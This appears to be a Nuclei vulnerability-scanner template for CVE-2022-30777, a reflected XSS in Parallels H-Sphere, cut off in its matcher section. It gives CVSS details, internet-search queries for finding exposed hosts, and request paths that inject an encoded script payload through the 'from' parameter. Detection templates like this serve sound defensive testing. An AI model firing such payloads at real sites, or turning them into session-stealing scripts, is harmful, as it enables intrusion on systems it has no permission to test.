id: CVE-2022-30777 info: name: Parallels H-Sphere 3.6.1713 - Cross-Site Scripting author: 3th1c_yuk1 severity: medium description: | Parallels H-Sphere 3.6.1713 contains a cross-site scripting vulnerability via the index_en.php 'from' parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the latest security patch or upgrade to a newer version of Parallels H-Sphere to mitigate the XSS vulnerability. reference: - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 - https://en.wikipedia.org/wiki/H-Sphere - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 - https://medium.com/%40bhattronit96/cve-2022-30777-45725763ab59 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30777 cwe-id: CWE-79 epss-score: 0.00087 epss-percentile: 0.36791 cpe: cpe:2.3:a:parallels:h-sphere:3.6.2:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: parallels product: h-sphere shodan-query: - title:"h-sphere" - http.title:"h-sphere" - http.title:"parallels h-sphere" fofa-query: - title="h-sphere" - title="parallels h-sphere" google-query: - intitle:"h-sphere" - intitle:"parallels h-sphere" tags: cve,cve2022,parallels,hsphere,xss http: - method: GET path: - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' stop-at-first-match: true matchers-condition: and matchers: - type: word words: - '